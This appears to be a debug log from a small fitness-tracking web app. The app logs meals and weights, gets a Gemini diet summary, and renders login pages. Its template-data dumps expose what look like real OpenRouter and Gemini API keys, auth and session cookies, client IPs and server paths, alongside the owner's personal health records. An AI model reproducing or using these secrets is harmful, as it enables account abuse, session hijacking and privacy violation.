  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 478 | Banana | 105 | 1 | 27 | 0 | 1 medium |\n' +
  '| 479 | Pre-workout | 10 | 0 | 2 | 0 | 1 scoop |\n' +
  '| 480 | Whey Protein | 120 | 27 | 3 | 2 | 1 scoop (27g protein) |\n' +
  '| 481 | Wheat Semolina Pasta (homemade) | 150 | 5 | 30 | 1 | 1 serving (approx 100g cooked) |\n' +
  '| 482 | Matar (Green Peas) | 40 | 3 | 7 | 0 | Mixed with pasta (approx 50g) |\n' +
  '| 483 | Milk Tea | 75 | 4 | 8 | 4 | 1 small cup (approx 150ml) |\n' +
  '| 484 | White Sugar | 16 | 0 | 4 | 0 | 1 spoon (assuming 1 teaspoon, approx 4g) |\n' +
  '| 485 | Green Tea | 2 | 1 | 0 | 0 | 1 cup (approx 240ml) |\n' +
  '| 486 | Aalo Gobi Sukhi Sabji | 150 | 5 | 18 | 8 | 1 serving (approx 150g) |\n' +
  '| 487 | Roti | 270 | 9 | 57 | 3 | 3 rotis (approx 30g each) |\n' +
  '| 488 | Green Tea | 2 | 0 | 0 | 0 | 1 cup (approx 240ml) |\n' +
  '| 489 | Dal (Lentil Soup) | 150 | 10 | 25 | 2 | 1 serving (approx 150g) |\n' +
  '| 490 | Boiled Rice | 195 | 4 | 43 | 1 | 1 serving (approx 150g cooked) |\n' +
  '| 491 | Onion Tomato Kheera Salad | 30 | 1 | 6 | 1 | 1 serving (approx 100g) |\n' +
  '| 492 | Amla (Indian Gooseberry) | 10 | 0 | 3 | 0 | 1 piece (approx 20g) |\n' +
  '\n'
2025-12-22T14:50:58.360Z server-connect:app Executing action step run
2025-12-22T14:50:58.360Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-22T14:50:58.361Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-21T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-20T18:30:00.000Z | 69.80 |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '\n'
2025-12-22T14:50:58.361Z server-connect:app Executing action step setvalue
2025-12-22T14:50:58.361Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-22T14:50:58.361Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 478 | Banana | 105 | 1 | 27 | 0 | 1 medium |\n' +
  '| 479 | Pre-workout | 10 | 0 | 2 | 0 | 1 scoop |\n' +
  '| 480 | Whey Protein | 120 | 27 | 3 | 2 | 1 scoop (27g protein) |\n' +
  '| 481 | Wheat Semolina Pasta (homemade) | 150 | 5 | 30 | 1 | 1 serving (approx 100g cooked) |\n' +
  '| 482 | Matar (Green Peas) | 40 | 3 | 7 | 0 | Mixed with pasta (approx 50g) |\n' +
  '| 483 | Milk Tea | 75 | 4 | 8 | 4 | 1 small cup (approx 150ml) |\n' +
  '| 484 | White Sugar | 16 | 0 | 4 | 0 | 1 spoon (assuming 1 teaspoon, approx 4g) |\n' +
  '| 485 | Green Tea | 2 | 1 | 0 | 0 | 1 cup (approx 240ml) |\n' +
  '| 486 | Aalo Gobi Sukhi Sabji | 150 | 5 | 18 | 8 | 1 serving (approx 150g) |\n' +
  '| 487 | Roti | 270 | 9 | 57 | 3 | 3 rotis (approx 30g each) |\n' +
  '| 488 | Green Tea | 2 | 0 | 0 | 0 | 1 cup (approx 240ml) |\n' +
  '| 489 | Dal (Lentil Soup) | 150 | 10 | 25 | 2 | 1 serving (approx 150g) |\n' +
  '| 490 | Boiled Rice | 195 | 4 | 43 | 1 | 1 serving (approx 150g cooked) |\n' +
  '| 491 | Onion Tomato Kheera Salad | 30 | 1 | 6 | 1 | 1 serving (approx 100g) |\n' +
  '| 492 | Amla (Indian Gooseberry) | 10 | 0 | 3 | 0 | 1 piece (approx 20g) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-21T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-20T18:30:00.000Z | 69.80 |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '\n'
2025-12-22T14:50:58.361Z server-connect:app Executing action step processWithGemini
2025-12-22T14:50:58.361Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-22T14:51:00.035Z server-connect:output health_summary: {
  summary: "Today's food intake shows a decent variety of Indian dishes, incorporating protein sources like lentils and whey. Meal timing appears spread throughout the day, supporting recovery from your early morning workouts. However, the carbohydrate content seems quite high, particularly from the rotis and rice, which might hinder optimal fat loss while building muscle.",
  rating: 6,
  good_points: [
    'Inclusion of a post-workout protein shake.',
    'Consumption of lentil soup for protein and fiber.',
    'Incorporation of vegetables and salad for micronutrients.',
    'Hydration through green tea.'
  ],
  bad_points: [
    'High carbohydrate intake from multiple sources.',
    'Potential for insufficient protein relative to carbohydrates for muscle development and fat loss.',
    'Sugar added to milk tea.'
  ],
  suggestions: [
    'Consider reducing the portion size of rotis and rice.',
    'Increase the proportion of protein-rich foods in main meals.',
    'Opt for unsweetened beverages.',
    'Ensure adequate hydration throughout the day beyond just green tea.'
  ],
  predicted_weight_trend: 'slight loss',
  predicted_weight: 70
}
2025-12-22T14:51:00.036Z server-connect:app Executing action step condition
2025-12-22T14:51:00.036Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-22T14:51:00.036Z server-connect:app Executing action step delete
2025-12-22T14:51:00.036Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-22T14:51:00.037Z server-connect:output delete: { affected: 1 }
2025-12-22T14:51:00.037Z server-connect:app Executing action step insert
2025-12-22T14:51:00.037Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-22T14:51:00.038Z server-connect:output insert: { affected: 1, identity: 55 }
2025-12-22T14:51:00.038Z server-connect:output condition: undefined
2025-12-22T14:51:00.353Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-22T14:51:00.353Z server-connect:app Executing action step identify
2025-12-22T14:51:00.353Z server-connect:app options: { provider: 'security' }
2025-12-22T14:51:00.353Z server-connect:output identity: 1
2025-12-22T14:51:00.353Z server-connect:app Executing action step restrict
2025-12-22T14:51:00.353Z server-connect:app options: { provider: 'security' }
2025-12-22T14:51:00.353Z server-connect:output restrict: undefined
2025-12-22T14:51:00.353Z server-connect:app Executing action step single
2025-12-22T14:51:00.353Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-22T14:51:00.354Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's food intake shows a decent variety of Indian dishes, incorporating protein sources like lentils and whey. Meal timing appears spread throughout the day, supporting recovery from your early morning workouts. However, the carbohydrate content seems quite high, particularly from the rotis and rice, which might hinder optimal fat loss while building muscle.",
    bad_points: [
      'High carbohydrate intake from multiple sources.',
      'Potential for insufficient protein relative to carbohydrates for muscle development and fat loss.',
      'Sugar added to milk tea.'
    ],
    good_points: [
      'Inclusion of a post-workout protein shake.',
      'Consumption of lentil soup for protein and fiber.',
      'Incorporation of vegetables and salad for micronutrients.',
      'Hydration through green tea.'
    ],
    suggestions: [
      'Consider reducing the portion size of rotis and rice.',
      'Increase the proportion of protein-rich foods in main meals.',
      'Opt for unsweetened beverages.',
      'Ensure adequate hydration throughout the day beyond just green tea.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'slight loss'
  },
  date: '2025-12-21T18:30:00.000Z'
}
2025-12-22T14:58:38.230Z server-connect:app Executing action step identify
2025-12-22T14:58:38.230Z server-connect:app options: { provider: 'security' }
2025-12-22T14:58:38.230Z server-connect:output identity: 1
2025-12-22T14:58:43.871Z server-connect:app Executing action step identify
2025-12-22T14:58:43.871Z server-connect:app options: { provider: 'security' }
2025-12-22T14:58:43.871Z server-connect:output identity: 1
2025-12-22T15:04:44.257Z server-connect:router Serving templateView /
2025-12-22T15:04:44.258Z server-connect:app Executing action step identify
2025-12-22T15:04:44.258Z server-connect:app options: { provider: 'security' }
2025-12-22T15:04:44.258Z server-connect:output identity: 1
2025-12-22T15:04:44.258Z server-connect:app Executing action step restrict
2025-12-22T15:04:44.258Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T15:04:44.260Z server-connect:output restrict: undefined
2025-12-22T15:04:44.260Z server-connect:app Executing action step restrict
2025-12-22T15:04:44.260Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T15:04:44.260Z server-connect:output restrict: undefined
2025-12-22T15:04:44.260Z server-connect:router Render template layouts/main
2025-12-22T15:04:44.260Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AUcZynkQaBcinfd6c8LWexQ%3D%3D.pUHSHvyZiGoVnj7LwqpjvrhDuEKW4qnU3t4u6SZrJYqeq5VzEnw2Xfj0%2FgMJ3gw624NbWwH0FswxUlJcosN11qmgCk%2FP7I5wyaZGGfhZ4WZJMW6pyfD%2BUB2FEssSTdCtBVmkKJtdeQxWBW%2BL54VnKp7gQVB5SOt%2BZPq75yMtNXI%3D.gQF4D%2Fv%2Fmj2pU55wk28S6DlbNlSkSMEKhmpD5zakkzg; your_r_git.sid=s%3AgwsbyfgMgLliY3GZNOiekTMyL77HvovV.JKK23g0xbj1a2NbU9SVyMbOPi9tBBVdzx5K1pnGj5%2FI',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T14:50:11.181Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AUcZynkQaBcinfd6c8LWexQ%3D%3D.pUHSHvyZiGoVnj7LwqpjvrhDuEKW4qnU3t4u6SZrJYqeq5VzEnw2Xfj0%2FgMJ3gw624NbWwH0FswxUlJcosN11qmgCk%2FP7I5wyaZGGfhZ4WZJMW6pyfD%2BUB2FEssSTdCtBVmkKJtdeQxWBW%2BL54VnKp7gQVB5SOt%2BZPq75yMtNXI%3D.gQF4D%2Fv%2Fmj2pU55wk28S6DlbNlSkSMEKhmpD5zakkzg; your_r_git.sid=s%3AgwsbyfgMgLliY3GZNOiekTMyL77HvovV.JKK23g0xbj1a2NbU9SVyMbOPi9tBBVdzx5K1pnGj5%2FI',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-22T15:09:37.618Z server-connect:router Serving templateView /
2025-12-22T15:09:37.619Z server-connect:app Executing action step identify
2025-12-22T15:09:37.619Z server-connect:app options: { provider: 'security' }
2025-12-22T15:09:37.619Z server-connect:auth No login cookie found
2025-12-22T15:09:37.619Z server-connect:output identity: false
2025-12-22T15:09:37.619Z server-connect:app Executing action step restrict
2025-12-22T15:09:37.619Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T15:09:37.619Z server-connect:output restrict: undefined
2025-12-22T15:09:37.719Z server-connect:router Serving templateView /login
2025-12-22T15:09:37.719Z server-connect:app Executing action step identify
2025-12-22T15:09:37.719Z server-connect:app options: { provider: 'security' }
2025-12-22T15:09:37.719Z server-connect:auth No login cookie found
2025-12-22T15:09:37.719Z server-connect:output identity: false
2025-12-22T15:09:37.719Z server-connect:router Render template layouts/authentication
2025-12-22T15:09:37.720Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '52.23.34.90',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T15:09:37.719Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '52.23.34.90',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '52.23.34.90',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-22T15:12:13.227Z server-connect:app Executing action step identify
2025-12-22T15:12:13.227Z server-connect:app options: { provider: 'security' }
2025-12-22T15:12:13.227Z server-connect:output identity: 1
2025-12-22T15:12:16.174Z server-connect:app Executing action step identify
2025-12-22T15:12:16.174Z server-connect:app options: { provider: 'security' }
2025-12-22T15:12:16.174Z server-connect:output identity: 1
2025-12-22T15:15:45.239Z server-connect:app Executing action step identify
2025-12-22T15:15:45.239Z server-connect:app options: { provider: 'security' }
2025-12-22T15:15:45.239Z server-connect:output identity: 1
2025-12-22T15:15:47.878Z server-connect:app Executing action step identify
2025-12-22T15:15:47.878Z server-connect:app options: { provider: 'security' }
2025-12-22T15:15:47.878Z server-connect:output identity: 1
2025-12-22T15:17:24.794Z server-connect:app Executing action step identify
2025-12-22T15:17:24.794Z server-connect:app options: { provider: 'security' }
2025-12-22T15:17:24.794Z server-connect:output identity: 1
2025-12-22T15:17:25.581Z server-connect:app Executing action step identify
2025-12-22T15:17:25.581Z server-connect:app options: { provider: 'security' }
2025-12-22T15:17:25.581Z server-connect:output identity: 1
2025-12-22T15:23:07.224Z server-connect:app Executing action step identify
2025-12-22T15:23:07.224Z server-connect:app options: { provider: 'security' }
2025-12-22T15:23:07.225Z server-connect:output identity: 1
2025-12-22T15:23:09.364Z server-connect:app Executing action step identify
2025-12-22T15:23:09.364Z server-connect:app options: { provider: 'security' }
2025-12-22T15:23:09.364Z server-connect:output identity: 1
2025-12-22T15:25:05.783Z server-connect:router Serving templateView /
2025-12-22T15:25:05.784Z server-connect:app Executing action step identify
2025-12-22T15:25:05.784Z server-connect:app options: { provider: 'security' }
2025-12-22T15:25:05.784Z server-connect:auth No login cookie found
2025-12-22T15:25:05.784Z server-connect:output identity: false
2025-12-22T15:25:05.784Z server-connect:app Executing action step restrict
2025-12-22T15:25:05.784Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T15:25:05.784Z server-connect:output restrict: undefined
2025-12-22T15:25:05.921Z server-connect:router Serving templateView /login
2025-12-22T15:25:05.921Z server-connect:app Executing action step identify
2025-12-22T15:25:05.921Z server-connect:app options: { provider: 'security' }
2025-12-22T15:25:05.922Z server-connect:auth No login cookie found
2025-12-22T15:25:05.922Z server-connect:output identity: false
2025-12-22T15:25:05.922Z server-connect:router Render template layouts/authentication
2025-12-22T15:25:05.922Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '100.51.235.151',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T15:25:05.921Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '100.51.235.151',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '100.51.235.151',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
2025-12-22T15:38:20.224Z server-connect:app Executing action step identify
